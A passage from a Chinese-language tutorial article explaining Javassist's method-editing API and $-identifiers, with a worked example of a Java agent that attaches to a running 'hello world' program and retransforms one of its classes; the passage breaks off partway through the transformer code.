sans-serif;">这个类提供了一些方法，使我们可以便捷的修改方法体：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">final</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">CtMethod</span> <span class="code-snippet__keyword">extends</span> <span class="code-snippet__title">CtBehavior</span> </span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">// 主要的内容都在父类 CtBehavior 中</span></span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">// 父类 CtBehavior</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">abstract</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">CtBehavior</span> <span class="code-snippet__keyword">extends</span> <span class="code-snippet__title">CtMember</span> </span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">// 设置方法体</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">setBody</span><span class="code-snippet__params">(String src)</span></span>;</span></code><code><span class="code-snippet_outer">    </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">// 插入在方法体最前面</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">insertBefore</span><span class="code-snippet__params">(String src)</span></span>;</span></code><code><span class="code-snippet_outer">    </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">// 插入在方法体最后面</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">insertAfter</span><span class="code-snippet__params">(String src)</span></span>;</span></code><code><span class="code-snippet_outer">    </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">// 在方法体的某一行插入内容</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">int</span> <span class="code-snippet__title">insertAt</span><span class="code-snippet__params">(<span class="code-snippet__keyword">int</span> lineNum, String src)</span></span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">传递给方法 </span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(172, 133, 2);line-height: 1.5;font-size: 14.4px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">insertBefore()</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"> ，</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(172, 133, 2);line-height: 1.5;font-size: 14.4px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">insertAfter()</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"> 和 </span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(172, 133, 2);line-height: 1.5;font-size: 14.4px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">insertAt()</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"> 的 String 对象<strong style="box-sizing: border-box;color: rgb(172, 133, 2);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">是由</strong><strong style="box-sizing: border-box;color: rgb(172, 133, 2);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><code style="box-sizing: border-box;padding: 3px 5px;line-height: 1.5;font-size: 14.4px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">Javassist</code> 的编译器编译的</strong>。由于编译器支持语言扩展，以 $ 开头的几个标识符有特殊的含义：</span></p><table><tbody><tr><td width="138" valign="top" style="word-break: break-all;"><span style="color: rgb(0, 0, 0);">符号</span></td><td width="342" valign="top" style="word-break: break-all;"><span style="color: rgb(0, 0, 0);">含义</span></td></tr><tr><td width="138" valign="top" style="word-break: break-all;"><code style="box-sizing: border-box;padding: 3px 5px;text-align: left;color: rgb(172, 133, 2);line-height: 1.5;font-size: 12px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;color: rgb(0, 0, 0);">$0</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;color: rgb(0, 0, 0);">, </span><code style="box-sizing: border-box;padding: 3px 5px;text-align: left;color: rgb(172, 133, 2);line-height: 1.5;font-size: 12px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;color: rgb(0, 0, 0);">$1</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;color: rgb(0, 0, 0);">, </span><code style="box-sizing: border-box;padding: 3px 5px;text-align: left;color: rgb(172, 133, 2);line-height: 1.5;font-size: 12px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;color: rgb(0, 0, 0);">$2</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;color: rgb(0, 0, 0);">, ...</span></td><td width="342" valign="top" style="word-break: break-all;"><span style="color: rgb(0, 0, 0);">$0 = this; $1 = args[1] .....</span></td></tr><tr><td width="138" valign="top" style="word-break: break-all;"><span style="color: rgb(0, 0, 0);">$args</span></td><td width="342" valign="top" style="word-break: break-all;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;color: rgb(0, 0, 0);">方法参数数组.它的类型为 </span><code style="box-sizing: border-box;padding: 3px 5px;text-align: left;color: rgb(172, 133, 2);line-height: 1.5;font-size: 12px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;color: rgb(0, 0, 0);">Object[]</span></code></td></tr><tr><td width="138" valign="top" style="word-break: break-all;"><span style="color: rgb(0, 0, 0);">$$</span></td><td width="342" valign="top" style="word-break: break-all;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;color: rgb(0, 0, 0);">所有实参。例如, </span><code style="box-sizing: border-box;padding: 3px 5px;text-align: left;color: rgb(172, 133, 2);line-height: 1.5;font-size: 12px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;color: rgb(0, 0, 0);">m($$)</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;color: rgb(0, 0, 0);"> 等价于 </span><code style="box-sizing: border-box;padding: 3px 5px;text-align: left;color: rgb(172, 133, 2);line-height: 1.5;font-size: 12px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;color: rgb(0, 0, 0);">m($1,$2,</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;color: rgb(0, 0, 0);">...</span><code style="box-sizing: border-box;padding: 3px 5px;text-align: left;color: rgb(172, 133, 2);line-height: 1.5;font-size: 12px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;color: rgb(0, 0, 0);">)</span></code></td></tr><tr><td width="138" valign="top" style="word-break: break-all;"><code style="box-sizing: border-box;padding: 3px 5px;text-align: left;color: rgb(172, 133, 2);line-height: 1.5;font-size: 12px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;color: rgb(0, 0, 0);">$cflow(</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;color: rgb(0, 0, 0);">...</span><code style="box-sizing: border-box;padding: 3px 5px;text-align: left;color: rgb(172, 133, 2);line-height: 1.5;font-size: 12px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;color: rgb(0, 0, 0);">)</span></code></td><td width="342" valign="top" style="word-break: break-all;"><code style="box-sizing: border-box;padding: 3px 5px;text-align: left;color: rgb(172, 133, 2);line-height: 1.5;font-size: 12px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;color: rgb(0, 0, 0);">cflow</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;color: rgb(0, 0, 0);"> 变量</span></td></tr><tr><td width="138" valign="top" style="word-break: break-all;"><span style="color: rgb(0, 0, 0);">$r</span></td><td width="342" valign="top" style="word-break: break-all;"><span style="color: rgb(0, 0, 0);">返回结果的类型，用于强制类型转换</span></td></tr><tr><td width="138" valign="top" style="word-break: break-all;"><span style="color: rgb(0, 0, 0);">$w</span></td><td width="342" valign="top" style="word-break: break-all;"><span style="color: rgb(0, 0, 0);">包装器类型，用于强制类型转换</span></td></tr><tr><td width="138" valign="top" style="word-break: break-all;"><span style="color: rgb(0, 0, 0);">$_</span></td><td width="342" valign="top" style="word-break: break-all;"><span style="color: rgb(0, 0, 0);">返回值</span></td></tr></tbody></table><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">详细的内容可以看<span style="box-sizing: border-box;color: rgb(172, 133, 2);line-height: 1.5;">Javassist 使用指南（二）<sup style="box-sizing: border-box;">[2]</sup></span>。</span><br/></p><section data-role="paragraph"><p><br/></p></section><section data-tools="135编辑器" data-id="97529" data-color="#feecaf"><section style="margin:10px auto;"><section style="display: flex;justify-content: center;align-items: center;text-align: left;"><section style="box-sizing:border-box;width:40px;margin-right:-20px;transform: rotate(0deg);-webkit-transform: rotate(0deg);-moz-transform: rotate(0deg);-ms-transform: rotate(0deg);-o-transform: rotate(0deg);"><section style="box-sizing:border-box;width:40px;"><section data-bgless="spin" data-bglessp="30" style="box-sizing: border-box;width: 25px;height: 5px;border-radius: 20px;background-color: rgb(233, 254, 175);margin-left: 6px;color: rgb(128, 174, 0);overflow: hidden;"><br/></section><section data-bgless="spin" data-bglessp="50" style="box-sizing: border-box;width: 25px;height: 5px;border-radius: 20px;background-color: rgb(207, 254, 175);margin-top: 3px;margin-bottom: 3px;margin-left: 16px;color: rgb(71, 174, 0);overflow: hidden;"><br/></section><section data-bgless="spin" data-bglessp="70" style="box-sizing: border-box;width: 25px;height: 5px;border-radius: 20px;background-color: rgb(180, 254, 175);color: rgb(11, 174, 0);overflow: hidden;"><br/></section></section></section><section style="display:inline-block;margin-top:6px;"><section style="border-width: 2px;border-style: dashed;border-color: rgb(254, 236, 175);background-color: rgb(254, 254, 254);padding: 6px 2em;box-sizing: border-box;"><section data-brushtype="text" style="font-size: 16px;text-align: center;color: rgb(51, 51, 51);"><strong><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">示例</span></strong><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"></span></section></section><section style="box-sizing: border-box;width: 80%;height: 6px;margin-right: auto;margin-left: auto;background-color: rgb(254, 236, 175);border-bottom-left-radius: 20px;border-bottom-right-radius: 20px;color: rgb(172, 133, 2);overflow: hidden;" data-width="80%"><br/></section></section><section style="box-sizing:border-box;width:40px;transform: rotate(0deg);transform: rotate(0deg);-webkit-transform: rotate(0deg);-moz-transform: rotate(0deg);-ms-transform: rotate(0deg);-o-transform: rotate(0deg);"><section style="box-sizing:border-box;width:40px;"><section data-bgless="spin" data-bglessp="30" style="box-sizing: border-box;width: 25px;height: 5px;border-radius: 20px;background-color: rgb(233, 254, 175);margin-left: -6px;color: rgb(128, 174, 0);overflow: hidden;"><br/></section><section data-bgless="spin" data-bglessp="50" style="box-sizing: border-box;width: 25px;height: 5px;border-radius: 20px;background-color: rgb(207, 254, 175);margin-top: 3px;margin-bottom: 3px;margin-left: -16px;color: rgb(71, 174, 0);overflow: hidden;"><br/></section><section data-bgless="spin" data-bglessp="70" style="box-sizing: border-box;width: 25px;height: 5px;border-radius: 20px;background-color: rgb(180, 254, 175);color: rgb(11, 174, 0);overflow: hidden;"><br/></section></section></section></section></section></section><section data-role="paragraph"><p><br/></p></section><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">接下来使用一个小示例来更好的说明这个工具的用法。</span></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">目标程序 </span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(172, 133, 2);line-height: 1.5;font-size: 14.4px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">hello.jar</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">，使用</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(172, 133, 2);line-height: 1.5;font-size: 14.4px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">Scanner</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">是为了在注入前不让程序结束：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer"><span class="code-snippet__comment">// HelloWorld.java</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">class</span> <span class="code-snippet__title">HelloWorld</span> {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">main</span>(<span class="code-snippet__params">String[] args</span>)</span> {</span></code><code><span class="code-snippet_outer">        hello h1 = <span class="code-snippet__keyword">new</span> hello();</span></code><code><span class="code-snippet_outer">        h1.hello();</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">// 输出当前进程的 pid</span></span></code><code><span class="code-snippet_outer">        System.<span class="code-snippet__keyword">out</span>.println(<span class="code-snippet__string">&#34;pid ==&gt; &#34;</span> + [pid])</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">// 产生中断，等待注入</span></span></code><code><span class="code-snippet_outer">        Scanner sc = <span class="code-snippet__keyword">new</span> Scanner(System.<span class="code-snippet__keyword">in</span>);</span></code><code><span class="code-snippet_outer">        sc.nextInt();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        hello h2 = <span class="code-snippet__keyword">new</span> hello();</span></code><code><span class="code-snippet_outer">        h2.hello();</span></code><code><span class="code-snippet_outer">        System.<span class="code-snippet__keyword">out</span>.println(<span class="code-snippet__string">&#34;ends...&#34;</span>);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">// hello.java</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">class</span> <span class="code-snippet__title">hello</span> {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">hello</span>(<span class="code-snippet__params"></span>)</span> {</span></code><code><span class="code-snippet_outer">        System.<span class="code-snippet__keyword">out</span>.println(<span class="code-snippet__string">&#34;hello world&#34;</span>);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">Java agent </span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(172, 133, 2);line-height: 1.5;font-size: 14.4px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">agent.jar</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span class="code-snippet_outer"><span class="code-snippet__comment">// AgentDemo.java</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">AgentDemo</span> </span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">agentmain</span><span class="code-snippet__params">(String agentArgs, Instrumentation inst)</span> <span class="code-snippet__keyword">throws</span> IOException, UnmodifiableClassException </span>{</span></code><code><span class="code-snippet_outer">        Class[] classes = inst.getAllLoadedClasses();</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">// 判断类是否已经加载</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">for</span> (Class aClass : classes) {    </span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (aClass.getName().equals(TransformerDemo.editClassName)) { </span></code><code><span class="code-snippet_outer">                <span class="code-snippet__comment">// 添加 Transformer</span></span></code><code><span class="code-snippet_outer">                inst.addTransformer(<span class="code-snippet__keyword">new</span> TransformerDemo(), <span class="code-snippet__keyword">true</span>);</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__comment">// 触发 Transformer</span></span></code><code><span class="code-snippet_outer">                inst.retransformClasses(aClass);</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">// TransformerDemo.java</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">// 如果在使用过程中找不到javassist包中的类，那么可以使用URLCLassLoader+反射的方式调用</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">TransformerDemo</span> <span class="code-snippet__keyword">implements</span> <span class="code-snippet__title">ClassFileTransformer</span> </span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">// 只需要修改这里就能修改别的函数</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">final</span> String editClassName = <span class="code-snippet__string">&#34;com.xxxx.hello.hello&#34;</span>;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">final</span> String editClassName2 = editClassName.replace(<span class="code-snippet__string">&#39;.&#39;</span>, <span class="code-snippet__string">&#39;/&#39;</span>);</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">final</span> String editMethod = <span class="code-snippet__string">&#34;hello&#34;</span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__meta">@Override</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">byte</span>[] transform(...) <span class="code-snippet__keyword">throws</span> IllegalClassFormatException {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            ClassPool cp = ClassPool.getDefault();</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (classBeingRedefined != <span class="code-snippet__keyword">null</span>) {</span></code><code><span class="code-snippet_outer">                ClassClassPath ccp = <span class="code-snippet__keyword">new</span> ClassClassPath(classBeingRedefined);</span></code><code><span class="code-snippet_outer">                